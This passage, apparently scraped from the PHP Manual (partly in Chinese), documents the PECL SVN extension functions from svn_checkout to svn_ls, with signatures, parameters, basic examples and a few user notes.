This seems to cover all the bases.
Adam 27-Mar-2013 02:16
There is a difference how svn cat works for deleted files. For deleted file commandline `svn cat -r xxx <full_url>` will give error, but 'svn cat <full_url>@xxx` will cat file from the past.
Unfortunately this method will not cat deleted file.


Checks out a working copy from the repository

  • ? svn_cat
  • svn_cleanup ?
  • PHP Manual
  • SVN 函数
  • Checks out a working copy from the repository

svn_checkout

(PECL svn >= 0.1.0)

svn_checkout — Checks out a working copy from the repository

说明

svn_checkout(
string $repos,
string $targetpath,
int $revision = ?,
int $flags = 0
): bool

Checks out a working copy from the repository at repos to targetpath at revision revision.

参数

repos

String URL path to directory in repository to check out.

targetpath

String local path to directory to check out in to

Note: 相对路径将会以PHP执行文件所在目录作为当前工作目录进行解析。如果希望依据脚本所在目录解析, 使用realpath() 或 dirname(__FILE__)。

revision

Integer revision number of repository to check out. Default is HEAD, the most recent revision.

flags

Any combination of SVN_NON_RECURSIVE and SVN_IGNORE_EXTERNALS.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Basic example

This example demonstrates how to check out a directory from a repository to a directory named calc:

<?php
svn_checkout('http://www.example.com/svnroot/calc/trunk', dirname(__FILE__) . '/calc');
?>

The dirname(__FILE__) call is necessary in order to convert the calc relative path into an absolute one. If calc exists, you can also use realpath() to retrieve an absolute path.

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参见

  • svn_add() - 在工作目录列入新增项
  • svn_commit() - 将修改的本地文件副本发送至版本库
  • svn_status() - Returns the status of working copy files and directories
  • svn_update() - Update working copy
  • » SVN documentation on svn checkout

User Contributed Notes

leonardodarosa23 at gmail dot com 02-May-2016 06:08
For those who are trying to use this while they don't patch out the  SVN_IGNORE_EXTERNALS constant that is missing, I've found the equivalent integer flag if you want to use before the official release:

if(!defined('SVN_IGNORE_EXTERNALS'))
    define('SVN_IGNORE_EXTERNALS', 128);


Recursively cleanup a working copy directory, finishing incomplete operations and removing locks

  • ? svn_checkout
  • svn_client_version ?
  • PHP Manual
  • SVN 函数
  • Recursively cleanup a working copy directory, finishing incomplete operations and removing locks

svn_cleanup

(PECL svn >= 0.1.0)

svn_cleanup — Recursively cleanup a working copy directory, finishing incomplete operations and removing locks

说明

svn_cleanup(string $workingdir): bool

Recursively cleanup working copy directory workingdir, finishing any incomplete operations and removing working copy locks. Use when a working copy is in limbo and needs to be usable again.

参数

workingdir

String path to local working directory to cleanup

Note: 相对路径将会以PHP执行文件所在目录作为当前工作目录进行解析。如果希望依据脚本所在目录解析, 使用realpath() 或 dirname(__FILE__)。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Basic example

This example demonstrates clean up of a working copy in a directory named help-me:

<?php
svn_cleanup(realpath('help-me'));
?>

The realpath() call is necessary due to SVN's quirky handling of relative paths.

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参见

  • update()
  • » SVN documentation on svn cleanup

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the SVN client libraries

  • ? svn_cleanup
  • svn_commit ?
  • PHP Manual
  • SVN 函数
  • Returns the version of the SVN client libraries

svn_client_version

(PECL svn >= 0.1.0)

svn_client_version — Returns the version of the SVN client libraries

说明

svn_client_version(): string

Returns the version of the SVN client libraries

参数

此函数没有参数。

返回值

String version number, usually in form of x.y.z.

示例

Example #1 Basic example

<?php
echo svn_client_version();
?>

以上示例的输出类似于：

1.3.1

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


将修改的本地文件副本发送至版本库

  • ? svn_client_version
  • svn_delete ?
  • PHP Manual
  • SVN 函数
  • 将修改的本地文件副本发送至版本库

svn_commit

(PECL svn >= 0.1.0)

svn_commit — 将修改的本地文件副本发送至版本库

说明

svn_commit(string $log, array $targets, bool $recursive = true): array

提交本地文件副本的改变使用参数 targets ，使用 log 参数作为提交日志，targets 参数默认使用递归，recursive 参数设置为 false 将不使用递归。

Note: 此方法没有指定任何认证参数，用户名和密码必须使用 svn_auth_set_parameter()

参数

log

长文本的提交日志

targets

本地文件路径数组

Warning

此参数必须是一个数组，一个单一字符串是不被接收的。

Note: 相对路径将会以PHP执行文件所在目录作为当前工作目录进行解析。如果希望依据脚本所在目录解析, 使用realpath() 或 dirname(__FILE__)。

recursive

布尔类型，是否禁用 targets 递归。默认值为 true

返回值

返回数组信息如下:

array(
    0 => 提交版本号
    1 => ISO 8601 格式的提交时间
    2 => 提交者
)

失败返回 false

示例

Example #1 基本示例

这个例子是将一个计算程序目录提交到一个版本库，使用用户名为 Bob 以及密码为 abc123 (提倡可以使用强密码)

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME, 'Bob');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD, 'abc123');
var_dump(svn_commit('Log message of Bob\'s commit', array(realpath('calculator'))));
?>

以上示例会输出：

array(
  0 => 1415,
  1 => '2007-05-26T01:44:28.453125Z',
  2 => 'Bob'
)

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参见

  • svn_auth_set_parameter() - Sets an authentication parameter
  • » 参见 svn 官方文档

User Contributed Notes

There are no user contributed notes for this page.


Delete items from a working copy or repository

  • ? svn_commit
  • svn_diff ?
  • PHP Manual
  • SVN 函数
  • Delete items from a working copy or repository

svn_delete

(PECL svn >= 0.4.0)

svn_delete — Delete items from a working copy or repository

说明

svn_delete(string $path, bool $force = false): bool

Deletes the file, directory or symbolic link at path from the working directory. The item will be deleted from the repository the next time you call svn_commit() on the working copy.

参数

path

Path of item to delete.

Note: 相对路径将会以PHP执行文件所在目录作为当前工作目录进行解析。如果希望依据脚本所在目录解析, 使用realpath() 或 dirname(__FILE__)。

force

If true, the file will be deleted even if it has local modifications. Otherwise, local modifications will result in a failure. Default is false

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参见

  • » SVN documentation on svn delete

User Contributed Notes

There are no user contributed notes for this page.


Recursively diffs two paths

  • ? svn_delete
  • svn_export ?
  • PHP Manual
  • SVN 函数
  • Recursively diffs two paths

svn_diff

(PECL svn >= 0.1.0)

svn_diff — Recursively diffs two paths

说明

svn_diff(
string $path1,
int $rev1,
string $path2,
int $rev2
): array

Recursively diffs two paths, path1 and path2.

Note:

This is not a general-purpose diff utility. Only local files that are versioned may be diffed: other files will fail.

参数

path1

First path to diff. This can be a URL to a file/directory in an SVN repository or a local file/directory path.

Note: 相对路径将会以PHP执行文件所在目录作为当前工作目录进行解析。如果希望依据脚本所在目录解析, 使用realpath() 或 dirname(__FILE__)。

Warning

If a local file path has only backslashes and no forward slashes, this extension will fail to find the path. Always replace all backslashes with forward slashes when using this function.

rev1

First path's revision number. Use SVN_REVISION_HEAD to specify the most recent revision.

path2

Second path to diff. See path1 for description.

rev2

Second path's revision number. See rev1 for description.

返回值

Returns an array-list consisting of two streams: the first is the diff output and the second contains error stream output. The streams can be read using fread(). Returns false or null on error.

The diff output will, by default, be in the form of Subversion's custom unified diff format, but an » external diff engine may be used depending on Subversion's configuration.

示例

Example #1 Basic example

This example demonstrates the basic usage of this function, and the retrieval of contents from the stream:

<?php
list($diff, $errors) = svn_diff(
'http://www.example.com/svnroot/trunk/foo', SVN_REVISION_HEAD,
'http://www.example.com/svnroot/branches/dev/foo', SVN_REVISION_HEAD
);
if (!$diff) exit;
$contents = '';
while (!feof($diff)) {
$contents .= fread($diff, 8192);
}
fclose($diff);
fclose($errors);
var_dump($contents);
?>

以上示例会输出：

Index: http://www.example.com/svnroot/trunk/foo
===================================================================
--- http://www.example.com/svnroot/trunk/foo        (.../foo) (revision 23)
+++ http://www.example.com/svnroot/branches/dev/foo (.../foo) (revision 27)
 // further diff output

Example #2 Diffing two revisions of a repository path

This example implements a wrapper function that allows a user to easily diff two revisions of the same item using an external repository path (the default syntax is somewhat verbose):

<?php
function svn_diff_same_item($path, $rev1, $rev2) {
return svn_diff($path, $rev1, $path, $rev2);
}
?>

Example #3 Portably diffing two local files

This example implements a wrapper function that portably diffs two local files, compensating for the realpath() fix and the backslashes bug:

<?php
function svn_diff_local($path1, $rev1, $path2, $rev2) {
$path1 = str_replace('\\', '/', realpath($path1));
$path2 = str_replace('\\', '/', realpath($path2));
return svn_diff($path1, $rev1, $path2, $rev2);
}
?>

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参见

  • » SVN documentation on svn diff

User Contributed Notes

There are no user contributed notes for this page.


Export the contents of a SVN directory

  • ? svn_diff
  • svn_fs_abort_txn ?
  • PHP Manual
  • SVN 函数
  • Export the contents of a SVN directory

svn_export

(PECL svn >= 0.3.0)

svn_export — Export the contents of a SVN directory

说明

svn_export(
string $frompath,
string $topath,
bool $working_copy = true,
int $revision_no = -1
): bool

Export the contents of either a working copy or repository into a 'clean' directory.

参数

frompath

The path to the current repository.

topath

The path to the new repository.

working_copy

If true, it will export uncommitted files from the working copy.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 svn_export() example

<?php
$working_dir = '../';
$new_working_dir = '/home/user/devel/foo/trunk';

svn_export($working_dir, $new_working_dir);
?>

参见

  • svn_import() - Imports an unversioned path into a repository

User Contributed Notes

Magnum 22-Sep-2014 09:56
To checkout a single file at a particular version use svn_cat .
cleung at draper dot com 31-May-2011 08:15
This functionality is very different from the actual command line svn export url [-rRevision]

If you are thinking about checkout out a single file at a particular version, keep looking because this export can not perform that functionality.


Aborts a transaction

  • ? svn_export
  • svn_fs_apply_text ?
  • PHP Manual
  • SVN 函数
  • Aborts a transaction

svn_fs_abort_txn

(PECL svn >= 0.2.0)

svn_fs_abort_txn — Aborts a transaction

说明

svn_fs_abort_txn(resource $txn): bool
Warning

本函数还未编写文档，仅有参数列表。

Aborts a transaction.

参数

txn

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Creates and returns a stream that will be used to replace

  • ? svn_fs_abort_txn
  • svn_fs_begin_txn2 ?
  • PHP Manual
  • SVN 函数
  • Creates and returns a stream that will be used to replace

svn_fs_apply_text

(PECL svn >= 0.2.0)

svn_fs_apply_text — Creates and returns a stream that will be used to replace

说明

svn_fs_apply_text(resource $root, string $path): resource
Warning

本函数还未编写文档，仅有参数列表。

Creates and returns a stream that will be used to replace

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Create a new transaction

  • ? svn_fs_apply_text
  • svn_fs_change_node_prop ?
  • PHP Manual
  • SVN 函数
  • Create a new transaction

svn_fs_begin_txn2

(PECL svn >= 0.2.0)

svn_fs_begin_txn2 — Create a new transaction

说明

svn_fs_begin_txn2(resource $repos, int $rev): resource
Warning

本函数还未编写文档，仅有参数列表。

Create a new transaction

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Return true if everything is ok, false otherwise

  • ? svn_fs_begin_txn2
  • svn_fs_check_path ?
  • PHP Manual
  • SVN 函数
  • Return true if everything is ok, false otherwise

svn_fs_change_node_prop

(PECL svn >= 0.2.0)

svn_fs_change_node_prop — Return true if everything is ok, false otherwise

说明

svn_fs_change_node_prop(
resource $root,
string $path,
string $name,
string $value
): bool
Warning

本函数还未编写文档，仅有参数列表。

Return true if everything is ok, false otherwise

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Determines what kind of item lives at path in a given repository fsroot

  • ? svn_fs_change_node_prop
  • svn_fs_contents_changed ?
  • PHP Manual
  • SVN 函数
  • Determines what kind of item lives at path in a given repository fsroot

svn_fs_check_path

(PECL svn >= 0.1.0)

svn_fs_check_path — Determines what kind of item lives at path in a given repository fsroot

说明

svn_fs_check_path(resource $fsroot, string $path): int
Warning

本函数还未编写文档，仅有参数列表。

Determines what kind of item lives at path in a given repository fsroot

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Return true if content is different, false otherwise

  • ? svn_fs_check_path
  • svn_fs_copy ?
  • PHP Manual
  • SVN 函数
  • Return true if content is different, false otherwise

svn_fs_contents_changed

(PECL svn >= 0.2.0)

svn_fs_contents_changed — Return true if content is different, false otherwise

说明

svn_fs_contents_changed(
resource $root1,
string $path1,
resource $root2,
string $path2
): bool
Warning

本函数还未编写文档，仅有参数列表。

Return true if content is different, false otherwise

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Copies a file or a directory

  • ? svn_fs_contents_changed
  • svn_fs_delete ?
  • PHP Manual
  • SVN 函数
  • Copies a file or a directory

svn_fs_copy

(PECL svn >= 0.2.0)

svn_fs_copy — Copies a file or a directory

说明

svn_fs_copy(
resource $from_root,
string $from_path,
resource $to_root,
string $to_path
): bool
Warning

本函数还未编写文档，仅有参数列表。

Copies a file or a directory.

参数

from_root

from_path

to_root

to_path

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Deletes a file or a directory

  • ? svn_fs_copy
  • svn_fs_dir_entries ?
  • PHP Manual
  • SVN 函数
  • Deletes a file or a directory

svn_fs_delete

(PECL svn >= 0.2.0)

svn_fs_delete — Deletes a file or a directory

说明

svn_fs_delete(resource $root, string $path): bool
Warning

本函数还未编写文档，仅有参数列表。

Deletes a file or a directory.

参数

root

path

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Enumerates the directory entries under path; returns a hash of dir names to file type

  • ? svn_fs_delete
  • svn_fs_file_contents ?
  • PHP Manual
  • SVN 函数
  • Enumerates the directory entries under path; returns a hash of dir names to file type

svn_fs_dir_entries

(PECL svn >= 0.1.0)

svn_fs_dir_entries — Enumerates the directory entries under path; returns a hash of dir names to file type

说明

svn_fs_dir_entries(resource $fsroot, string $path): array
Warning

本函数还未编写文档，仅有参数列表。

Enumerates the directory entries under path; returns a hash of dir names to file type

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

qwazix at outofbounds dot gr 08-Feb-2011 07:05
Here is a function that returns an array with the directories in the root of the HEAD revision of a repository, using only the path of the repository.
<?php
    function get_repo_dirs($path){
        if (file_exists($path.'/format'))
        if ($repo = svn_repos_open($path))
        if ($repo_fs = svn_repos_fs($repo))
        if ($head = svn_fs_youngest_rev($repo_fs))
        if ($repo_fs_root = svn_fs_revision_root($repo_fs,$head))
        return array_keys(svn_fs_dir_entries($repo_fs_root,'.'));
        else return false;
    }
?>

example usage

<?php
    var_dump (get_repo_dirs('/home/user/svnrepos/example_project'));
?>


Returns a stream to access the contents of a file from a given version of the fs

  • ? svn_fs_dir_entries
  • svn_fs_file_length ?
  • PHP Manual
  • SVN 函数
  • Returns a stream to access the contents of a file from a given version of the fs

svn_fs_file_contents

(PECL svn >= 0.1.0)

svn_fs_file_contents — Returns a stream to access the contents of a file from a given version of the fs

说明

svn_fs_file_contents(resource $fsroot, string $path): resource
Warning

本函数还未编写文档，仅有参数列表。

Returns a stream to access the contents of a file from a given version of the fs

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Returns the length of a file from a given version of the fs

  • ? svn_fs_file_contents
  • svn_fs_is_dir ?
  • PHP Manual
  • SVN 函数
  • Returns the length of a file from a given version of the fs

svn_fs_file_length

(PECL svn >= 0.1.0)

svn_fs_file_length — Returns the length of a file from a given version of the fs

说明

svn_fs_file_length(resource $fsroot, string $path): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the length of a file from a given version of the fs

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Determines if a path points to a directory

  • ? svn_fs_file_length
  • svn_fs_is_file ?
  • PHP Manual
  • SVN 函数
  • Determines if a path points to a directory

svn_fs_is_dir

(PECL svn >= 0.2.0)

svn_fs_is_dir — Determines if a path points to a directory

说明

svn_fs_is_dir(resource $root, string $path): bool
Warning

本函数还未编写文档，仅有参数列表。

Determines if the given path points to a directory.

参数

root

path

返回值

Returns true if the path points to a directory, false otherwise.

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Determines if a path points to a file

  • ? svn_fs_is_dir
  • svn_fs_make_dir ?
  • PHP Manual
  • SVN 函数
  • Determines if a path points to a file

svn_fs_is_file

(PECL svn >= 0.2.0)

svn_fs_is_file — Determines if a path points to a file

说明

svn_fs_is_file(resource $root, string $path): bool
Warning

本函数还未编写文档，仅有参数列表。

Determines if the given path points to a file.

参数

root

path

返回值

Returns true if the path points to a file, false otherwise.

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

ytcheng at qq dot com 18-Dec-2010 08:16
<?php
    $repos = svn_repos_open($this->sourceRoot);
    $fs = svn_repos_fs($repos);
    $head = svn_fs_youngest_rev($fs);
    $fsroot = svn_fs_revision_root($fs,$head);
    echo svn_fs_is_file($fsroot,$path);
?>


Creates a new empty directory

  • ? svn_fs_is_file
  • svn_fs_make_file ?
  • PHP Manual
  • SVN 函数
  • Creates a new empty directory

svn_fs_make_dir

(PECL svn >= 0.2.0)

svn_fs_make_dir — Creates a new empty directory

说明

svn_fs_make_dir(resource $root, string $path): bool
Warning

本函数还未编写文档，仅有参数列表。

Creates a new empty directory.

参数

root

path

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Creates a new empty file

  • ? svn_fs_make_dir
  • svn_fs_node_created_rev ?
  • PHP Manual
  • SVN 函数
  • Creates a new empty file

svn_fs_make_file

(PECL svn >= 0.2.0)

svn_fs_make_file — Creates a new empty file

说明

svn_fs_make_file(resource $root, string $path): bool
Warning

本函数还未编写文档，仅有参数列表。

Creates a new empty file.

参数

root

path

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Returns the revision in which path under fsroot was created

  • ? svn_fs_make_file
  • svn_fs_node_prop ?
  • PHP Manual
  • SVN 函数
  • Returns the revision in which path under fsroot was created

svn_fs_node_created_rev

(PECL svn >= 0.1.0)

svn_fs_node_created_rev — Returns the revision in which path under fsroot was created

说明

svn_fs_node_created_rev(resource $fsroot, string $path): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the revision in which path under fsroot was created

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of a property for a node

  • ? svn_fs_node_created_rev
  • svn_fs_props_changed ?
  • PHP Manual
  • SVN 函数
  • Returns the value of a property for a node

svn_fs_node_prop

(PECL svn >= 0.1.0)

svn_fs_node_prop — Returns the value of a property for a node

说明

svn_fs_node_prop(resource $fsroot, string $path, string $propname): string
Warning

本函数还未编写文档，仅有参数列表。

Returns the value of a property for a node

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Return true if props are different, false otherwise

  • ? svn_fs_node_prop
  • svn_fs_revision_prop ?
  • PHP Manual
  • SVN 函数
  • Return true if props are different, false otherwise

svn_fs_props_changed

(PECL svn >= 0.2.0)

svn_fs_props_changed — Return true if props are different, false otherwise

说明

svn_fs_props_changed(
resource $root1,
string $path1,
resource $root2,
string $path2
): bool
Warning

本函数还未编写文档，仅有参数列表。

Return true if props are different, false otherwise

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Fetches the value of a named property

  • ? svn_fs_props_changed
  • svn_fs_revision_root ?
  • PHP Manual
  • SVN 函数
  • Fetches the value of a named property

svn_fs_revision_prop

(PECL svn >= 0.1.0)

svn_fs_revision_prop — Fetches the value of a named property

说明

svn_fs_revision_prop(resource $fs, int $revnum, string $propname): string
Warning

本函数还未编写文档，仅有参数列表。

Fetches the value of a named property

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Get a handle on a specific version of the repository root

  • ? svn_fs_revision_prop
  • svn_fs_txn_root ?
  • PHP Manual
  • SVN 函数
  • Get a handle on a specific version of the repository root

svn_fs_revision_root

(PECL svn >= 0.1.0)

svn_fs_revision_root — Get a handle on a specific version of the repository root

说明

svn_fs_revision_root(resource $fs, int $revnum): resource
Warning

本函数还未编写文档，仅有参数列表。

Get a handle on a specific version of the repository root

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Creates and returns a transaction root

  • ? svn_fs_revision_root
  • svn_fs_youngest_rev ?
  • PHP Manual
  • SVN 函数
  • Creates and returns a transaction root

svn_fs_txn_root

(PECL svn >= 0.2.0)

svn_fs_txn_root — Creates and returns a transaction root

说明

svn_fs_txn_root(resource $txn): resource
Warning

本函数还未编写文档，仅有参数列表。

Creates and returns a transaction root

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of the youngest revision in the filesystem

  • ? svn_fs_txn_root
  • svn_import ?
  • PHP Manual
  • SVN 函数
  • Returns the number of the youngest revision in the filesystem

svn_fs_youngest_rev

(PECL svn >= 0.1.0)

svn_fs_youngest_rev — Returns the number of the youngest revision in the filesystem

说明

svn_fs_youngest_rev(resource $fs): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the number of the youngest revision in the filesystem

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

User Contributed Notes

There are no user contributed notes for this page.


Imports an unversioned path into a repository

  • ? svn_fs_youngest_rev
  • svn_log ?
  • PHP Manual
  • SVN 函数
  • Imports an unversioned path into a repository

svn_import

(PECL svn >= 0.2.0)

svn_import — Imports an unversioned path into a repository

说明

svn_import(string $path, string $url, bool $nonrecursive): bool

Commits unversioned path into repository at url. If path is a directory and nonrecursive is false, the directory will be imported recursively.

参数

path

Path of file or directory to import.

Note: 相对路径将会以PHP执行文件所在目录作为当前工作目录进行解析。如果希望依据脚本所在目录解析, 使用realpath() 或 dirname(__FILE__)。

url

Repository URL to import into.

nonrecursive

Whether or not to refrain from recursively processing directories.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Basic example

This example demonstrates a basic use-case of this function. To import a directory named new-files into the repository at http://www.example.com/svnroot/incoming/abc, use:

<?php
svn_import(realpath('new-files'), 'http://www.example.com/svnroot/incoming/abc', false);
?>

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参见

  • svn_add() - 在工作目录列入新增项
  • » SVN documentation for svn import

User Contributed Notes

There are no user contributed notes for this page.


Returns the commit log messages of a repository URL

  • ? svn_import
  • svn_ls ?
  • PHP Manual
  • SVN 函数
  • Returns the commit log messages of a repository URL

svn_log

(PECL svn >= 0.1.0)

svn_log — Returns the commit log messages of a repository URL

说明

svn_log(
string $repos_url,
int $start_revision = ?,
int $end_revision = ?,
int $limit = 0,
int $flags = SVN_DISCOVER_CHANGED_PATHS | SVN_STOP_ON_COPY
): array

svn_log() returns the complete history of the item at the repository URL repos_url, or the history of a specific revision if start_revision is set. This function is equivalent to svn log --verbose -r $start_revision $repos_url.

参数

repos_url

Repository URL of the item to retrieve log history from.

start_revision

Revision number of the first log to retrieve. Use SVN_REVISION_HEAD to retrieve the log from the most recent revision.

end_revision

Revision number of the last log to retrieve. Defaults to start_revision if specified or to SVN_REVISION_INITIAL otherwise.

limit

Number of logs to retrieve.

flags

Any combination of SVN_OMIT_MESSAGES, SVN_DISCOVER_CHANGED_PATHS and SVN_STOP_ON_COPY.

返回值

On success, this function returns an array file listing in the format of:

[0] => Array, ordered most recent (highest) revision first
(
    [rev] => integer revision number
    [author] => string author name
    [msg] => string log message
    [date] => string date formatted per ISO 8601, i.e. date('c')
    [paths] => Array, describing changed files
        (
            [0] => Array
                (
                    [action] => string letter signifying change
                    [path] =>  absolute repository path of changed file
                )
            [1] => ...
        )
)
[1] => ...

Note:

The output will always be a numerically indexed array of arrays, even when there are none or only one log message(s).

The value of action is a subset of the » status output in the first column, where possible values are:

Actions
Letter | Description
M | Item/props was modified
A | Item was added
D | Item was deleted
R | Item was replaced

If no changes were made to the item, an empty array is returned.

示例

Example #1 svn_log() example

<?php
print_r( svn_log('http://www.example.com/', 23) );
?>

以上示例的输出类似于：

Array
(
    [0] => Array
    (
        [rev] => 23
        [author] => 'joe'
        [msg] => 'Add cheese and salami to our sandwich.'
        [date] => '2007-04-06T16:00:27-04:00'
        [paths] => Array
            (
                [0] => Array
                    (
                        [action] => 'M'
                        [path] =>  '/sandwich.txt'
                    )
            )
    )
)

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参见

  • » SVN documentation on svn log

User Contributed Notes

php dot net at gnur dot nl 09-Jun-2011 02:42
Please not that using svn_log without giving revisions is much, much slower then with revisions. Examples:

$ time php -r "svn_log('http://localhost/svn/shopadsl');"

real    0m2.140s
user    0m0.140s
sys     0m0.000s

VS

$ time php -r "svn_log('http://localhost/svn/shopadsl', 0, 45);"

real    0m0.063s
user    0m0.024s
sys     0m0.016s


Returns list of directory contents in repository URL, optionally at revision number

  • ? svn_log
  • svn_mkdir ?
  • PHP Manual
  • SVN 函数
  • Returns list of directory contents in repository URL, optionally at revision number

svn_ls

(PECL svn >= 0.1.0)

svn_ls — Returns list of directory contents in repository URL, optionally at revision number

说明

svn_ls(
string $repos_url,
int $revision_no = SVN_REVISION_HEAD,
bool $recurse = false,
bool $peg = false
): array

This function queries the repository URL and returns a list of files and directories, optionally from a specific revision. This is equivalent to svn list $repos_url[@$revision_no]

Note:

This function does not work with working copies. repos_url must be a repository URL.

参数

url

URL of the repository, eg. http://www.example.com/svnroot. To access a local Subversion repository via filesystem, use the file URI scheme, eg. file:///home/user/svn-repos

revision

Integer revision number to retrieve listing of. When omitted, the HEAD revision is used.

recurse

Enables recursion.

返回值

On success, this function returns an array file listing in the format of:

[0] => Array
    (
        [created_rev] => integer revision number of last edit
        [last_author] => string author name of last edit
        [size] => integer byte file size of file
        [time] => string date of last edit in form 'M d H:i'
                  or 'M d Y', depending on how old the file is
        [time_t] => integer unix timestamp of last edit
        [name] => name of file/directory
        [type] => type, can be 'file' or 'dir'
    )
[1] => ...

示例

Example #1 svn_ls() example

<?php
print_r( svn_ls('http://www.example.com/svnroot/') );
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [created_rev] => 20
            [last_author] => Joe
            [size] => 0
            [time] => Apr 02 09:28
            [time_t] => 1175520529
            [name] => tags
            [type] => dir
        )
    [1] => Array
        (
            [created_rev] => 23
            [last_author] => Bob
            [size] => 0
            [time] => Apr 02 15:15
            [time_t] => 1175541322
            [name] => trunk
            [type] => dir
        )
)

注释

Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担。

参见

  • » SVN documentation on svn list

User Contributed Notes

php thereatthe bluedream dotty tv 11-May-2012 11:31
Be aware that the function will condition the path for you; do not do it yourself or you will have resulting errors.

Ex: that paths with spaces in them do NOT need the escaping slash
<?php
svn_ls('file:///var/svn/myrepo/dirA/another dir'); //will work->happiness
svn_ls('file:///var/svn/myrepo/dirA/another\ dir'); //will fail
?>
